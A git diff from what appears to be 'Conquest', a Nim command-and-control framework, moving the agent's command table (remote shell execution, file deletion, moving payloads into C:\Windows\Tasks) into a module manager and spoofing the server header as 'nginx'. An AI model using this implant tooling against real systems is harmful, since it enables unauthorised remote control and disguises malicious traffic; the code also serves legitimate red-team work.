fmt"../src/agent/build.sh" cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Building agent...") diff --git a/src/server/main.nim b/src/server/main.nim index f3c8f15..6c009ec 100644 --- a/src/server/main.nim +++ b/src/server/main.nim @@ -1,6 +1,7 @@ import core/server -import strutils +import ../modules/manager # Conquest framework entry point when isMainModule: + loadModules() startServer() \ No newline at end of file diff --git a/src/server/nim.cfg b/src/server/nim.cfg index 35db171..649127b 100644 --- a/src/server/nim.cfg +++ b/src/server/nim.cfg @@ -1,4 +1,5 @@ # Compiler flags +-d:server --threads:on -d:httpxServerName="nginx" --outdir:"../bin" diff --git a/src/server/task/dispatcher.nim b/src/server/task/dispatcher.nim index d8ada0f..6d36f3c 100644 --- a/src/server/task/dispatcher.nim +++ b/src/server/task/dispatcher.nim @@ -1,117 +1,13 @@ import times, strformat, terminal, tables, json, sequtils, strutils import ./[parser] import ../utils +import ../../modules/manager import ../../common/[types, utils] -proc initAgentCommands*(): Table[string, Command] = - var commands = initTable[string, Command]() - - commands["shell"] = Command( - name: "shell", - commandType: CMD_SHELL, - description: "Execute a shell command and retrieve the output.", - example: "shell whoami /all", - arguments: @[ - Argument(name: "command", description: "Command to be executed.", argumentType: STRING, isRequired: true), - Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: STRING, isRequired: false) - ] - ) - - commands["sleep"] = Command( - name: "sleep", - commandType: CMD_SLEEP, - description: "Update sleep delay configuration.", - example: "sleep 5", - arguments: @[ - Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true) - ] - ) - - commands["pwd"] = Command( - name: "pwd", - commandType: CMD_PWD, - description: "Retrieve current working directory.", - example: "pwd", - arguments: @[] - ) - - commands["cd"] = Command( - name: "cd", - commandType: CMD_CD, - description: "Change current working directory.", - example: "cd C:\\Windows\\Tasks", - arguments: @[ - Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: STRING, isRequired: true) - ] - ) - - commands["ls"] = Command( - name: "ls", - commandType: CMD_LS, - description: "List files and directories.", - example: "ls C:\\Users\\Administrator\\Desktop", - arguments: @[ - Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: STRING, isRequired: false) - ] - ) - - commands["rm"] = Command( - name: "rm", - commandType: CMD_RM, - description: "Remove a file.", - example: "rm C:\\Windows\\Tasks\\payload.exe", - arguments: @[ - Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: STRING, isRequired: true) - ] - ) - - commands["rmdir"] = Command( - name: "rmdir", - commandType: CMD_RMDIR, - description: "Remove a directory.", - example: "rm C:\\Payloads", - arguments: @[ - Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: STRING, isRequired: true) - ] - ) - - commands["move"] = Command( - name: "move", - commandType: CMD_MOVE, - description: "Move a file or directory.", - example: "move source.exe C:\\Windows\\Tasks\\destination.exe", - arguments: @[ - Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true), - Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true) - ] - ) - - commands["copy"] = Command( - name: "copy", - commandType: CMD_COPY, - description: "Copy a file or directory.", - example: "copy source.exe C:\\Windows\\Tasks\\destination.exe", - arguments: @[ - Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true), - Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true) - ] - ) - - return commands - -let commands = initAgentCommands() - -proc getCommandFromTable(input: string, commands: Table[string, Command]): Command = - try: - let command = commands[input] - return command - except ValueError: - raise newException(ValueError, fmt"The command '{input}' does not exist.") - -proc displayHelp(cq: Conquest, commands: Table[string, Command]) = +proc displayHelp(cq: Conquest) = cq.writeLine("Available commands:") cq.writeLine(" * back") - for key, cmd in commands: + for key, cmd in getAvailableCommands(): cq.writeLine(fmt" * {cmd.name:<15}{cmd.description}") cq.writeLine() @@ -142,13 +38,13 @@ Usage : {usage} cq.writeLine() -proc handleHelp(cq: Conquest, parsed: seq[string], commands: Table[string, Command]) = +proc handleHelp(cq: Conquest, parsed: seq[string]) = try: # Try parsing the first argument passed to 'help' as a command - cq.displayCommandHelp(getCommandFromTable(parsed[1], commands)) + cq.displayCommandHelp(getCommandByName(parsed[1])) except IndexDefect: # 'help' command is called without additional parameters - cq.displayHelp(commands) + cq.displayHelp() except ValueError: # Command was not found cq.writeLine(fgRed, styleBright, fmt"[-] The command '{parsed[1]}' does not exist." & '\n') @@ -169,13 +65,13 @@ proc handleAgentCommand*(cq: Conquest, input: string) = # Handle 'help' command if parsedArgs[0] == "help": - cq.handleHelp(parsedArgs, commands) + cq.handleHelp(parsedArgs) return # Handle commands with actions on the agent try: let - command = getCommandFromTable(parsedArgs[0], commands) + command = getCommandByName(parsedArgs[0]) task = cq.parseTask(command, parsedArgs[1..^1]) # Add task to queue